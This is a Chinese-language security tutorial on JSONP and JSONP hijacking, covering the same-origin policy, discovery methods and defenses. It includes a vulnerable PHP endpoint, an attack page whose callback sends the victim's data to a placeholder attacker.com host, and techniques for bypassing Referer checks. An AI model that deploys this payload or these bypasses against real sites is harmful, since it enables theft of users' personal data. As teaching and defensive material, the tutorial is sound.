JSONP与JSONP劫持漏洞的学习
字数 1486 2025-08-05 08:19:38

JSONP与JSONP劫持漏洞详解

1. 同源策略基础

1.1 同源策略(SOP)概念

同源策略(Same Origin Policy)是浏览器的安全基石,规定:

  • 不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源
  • "同源"定义:协议相同、域名相同、端口相同

1.2 同源策略的作用

  • 防止恶意网站随意操作合法网站的资源
  • 保证数据的完整性和机密性
  • 严格隔离不同源的网站

2. JSONP技术详解

2.1 JSONP基本概念

JSONP(JSON with Padding)是一种跨域通信的非官方技术手段,原理:

  • 动态创建<script>标签
  • 利用<script>的src属性不受同源策略约束的特性
  • 由回调函数和数据两部分组成

2.2 JSONP实现方式

// 原生实现
var script = document.createElement("script");
script.src = "https://api.example.com/data?callback=handleResponse";
document.body.insertBefore(script, document.body.firstChild);

function handleResponse(response){
    // 处理返回数据
}

// jQuery实现
$.getJSON("http://example.com/data?callback=?", function(data){
    // 处理数据
});

2.3 JSONP工作流程

  1. 客户端定义回调函数
  2. 动态创建<script>标签,src包含回调函数名
  3. 服务器接收请求,返回以回调函数包裹的JSON数据
  4. 浏览器执行回调函数处理数据

3. JSONP劫持漏洞

3.1 漏洞原理

  • 利用JSONP跨域特性
  • 网站B对网站A的JSONP请求没有安全检查直接返回数据
  • 攻击者可构造恶意页面窃取用户在网站B的数据

3.2 漏洞利用条件

  1. 使用JSONP获取数据
  2. 未严格验证Referer或验证不严谨
  3. GET请求中不包含token等安全参数

3.3 典型利用过程

  1. 用户登录网站B(含敏感信息)
  2. 用户访问攻击者构造的网站A
  3. 网站A页面包含恶意JSONP请求
  4. 浏览器自动执行回调函数,泄露用户信息

3.4 漏洞危害

  1. 敏感信息泄露(用户名、邮箱、手机号等)
  2. 用户权限被盗用
  3. 网页挂马
  4. 网站钓鱼
  5. 提权攻击
  6. 变种拒绝服务攻击

4. JSONP漏洞挖掘

4.1 手动挖掘方法

  1. 使用浏览器开发者工具,勾选"Preserve log"
  2. 在Network标签中过滤关键词:
    • callback
    • json
    • jsonp
    • email
    • token
  3. 人工确认返回数据是否包含敏感信息
  4. 测试跨域访问是否可行

4.2 自动化挖掘工具

Selenium + Proxy + 验证脚本组合:

  1. Selenium自动化点击页面元素
  2. Proxy代理记录所有请求
  3. 验证脚本测试接口安全性

5. 漏洞防御措施

5.1 基础防御

  1. 验证Referer头
    if ($_SERVER['HTTP_REFERER']!=='http://trusted.com/') {
        exit("非法访问");
    }
    
  2. 使用一次性Token
  3. 严格限制callback函数名和长度

5.2 高级防御

  1. 严格设置Content-Type: application/json; charset=utf-8
  2. 在JSON输出前添加干扰字符(如/**/、换行符)
  3. 输出前添加while(1);等代码防止直接调用

5.3 防御绕过方法

  1. 使用data URI绕过Referer检查
  2. HTTPS跳转HTTP产生空Referer
  3. 子域名绕过(如www.trusted.com.mydomain.com)

6. 实际案例分析

6.1 漏洞示例代码

// getUser.php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST['jsoncallback']);
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . $json_data . ")";

6.2 攻击Payload

<!DOCTYPE html>
<html>
<head>
    <title>JSONP劫持测试</title>
</head>
<body>
<script>
function callbackFunction(result) {
    // 将数据发送到攻击者服务器
    new Image().src = "http://attacker.com/steal?data="+JSON.stringify(result);
}
</script>
<script src="http://victim.com/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>

7. 扩展知识

7.1 相关漏洞

  1. CSRF Token泄露
  2. 敏感API接口暴露
  3. 用户身份信息泄露

7.2 其他跨域技术对比

  1. CORS(官方推荐)
  2. postMessage
  3. 服务器代理

8. 总结

JSONP劫持是一种典型的客户端安全漏洞,安全开发人员应当:

  1. 尽量避免使用JSONP,改用CORS等更安全的跨域方案
  2. 若必须使用JSONP,实施严格的Referer检查和Token验证
  3. 对输出数据进行严格过滤和编码
  4. 定期进行安全审计,检查可能的JSONP端点

通过全面的防御措施,可以有效防止JSONP劫持漏洞带来的安全风险。

JSONP与JSONP劫持漏洞详解 1. 同源策略基础 1.1 同源策略(SOP)概念 同源策略(Same Origin Policy)是浏览器的安全基石,规定: 不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源 "同源"定义:协议相同、域名相同、端口相同 1.2 同源策略的作用 防止恶意网站随意操作合法网站的资源 保证数据的完整性和机密性 严格隔离不同源的网站 2. JSONP技术详解 2.1 JSONP基本概念 JSONP(JSON with Padding)是一种跨域通信的非官方技术手段,原理: 动态创建 <script> 标签 利用 <script> 的src属性不受同源策略约束的特性 由回调函数和数据两部分组成 2.2 JSONP实现方式 2.3 JSONP工作流程 客户端定义回调函数 动态创建 <script> 标签,src包含回调函数名 服务器接收请求,返回以回调函数包裹的JSON数据 浏览器执行回调函数处理数据 3. JSONP劫持漏洞 3.1 漏洞原理 利用JSONP跨域特性 网站B对网站A的JSONP请求没有安全检查直接返回数据 攻击者可构造恶意页面窃取用户在网站B的数据 3.2 漏洞利用条件 使用JSONP获取数据 未严格验证Referer或验证不严谨 GET请求中不包含token等安全参数 3.3 典型利用过程 用户登录网站B(含敏感信息) 用户访问攻击者构造的网站A 网站A页面包含恶意JSONP请求 浏览器自动执行回调函数,泄露用户信息 3.4 漏洞危害 敏感信息泄露(用户名、邮箱、手机号等) 用户权限被盗用 网页挂马 网站钓鱼 提权攻击 变种拒绝服务攻击 4. JSONP漏洞挖掘 4.1 手动挖掘方法 使用浏览器开发者工具,勾选"Preserve log" 在Network标签中过滤关键词: callback json jsonp email token 人工确认返回数据是否包含敏感信息 测试跨域访问是否可行 4.2 自动化挖掘工具 Selenium + Proxy + 验证脚本组合: Selenium自动化点击页面元素 Proxy代理记录所有请求 验证脚本测试接口安全性 5. 漏洞防御措施 5.1 基础防御 验证Referer头 使用一次性Token 严格限制callback函数名和长度 5.2 高级防御 严格设置Content-Type: application/json; charset=utf-8 在JSON输出前添加干扰字符(如 /**/ 、换行符) 输出前添加 while(1); 等代码防止直接调用 5.3 防御绕过方法 使用data URI绕过Referer检查 HTTPS跳转HTTP产生空Referer 子域名绕过(如 www.trusted.com.mydomain.com ) 6. 实际案例分析 6.1 漏洞示例代码 6.2 攻击Payload 7. 扩展知识 7.1 相关漏洞 CSRF Token泄露 敏感API接口暴露 用户身份信息泄露 7.2 其他跨域技术对比 CORS(官方推荐) postMessage 服务器代理 8. 总结 JSONP劫持是一种典型的客户端安全漏洞,安全开发人员应当: 尽量避免使用JSONP,改用CORS等更安全的跨域方案 若必须使用JSONP,实施严格的Referer检查和Token验证 对输出数据进行严格过滤和编码 定期进行安全审计,检查可能的JSONP端点 通过全面的防御措施,可以有效防止JSONP劫持漏洞带来的安全风险。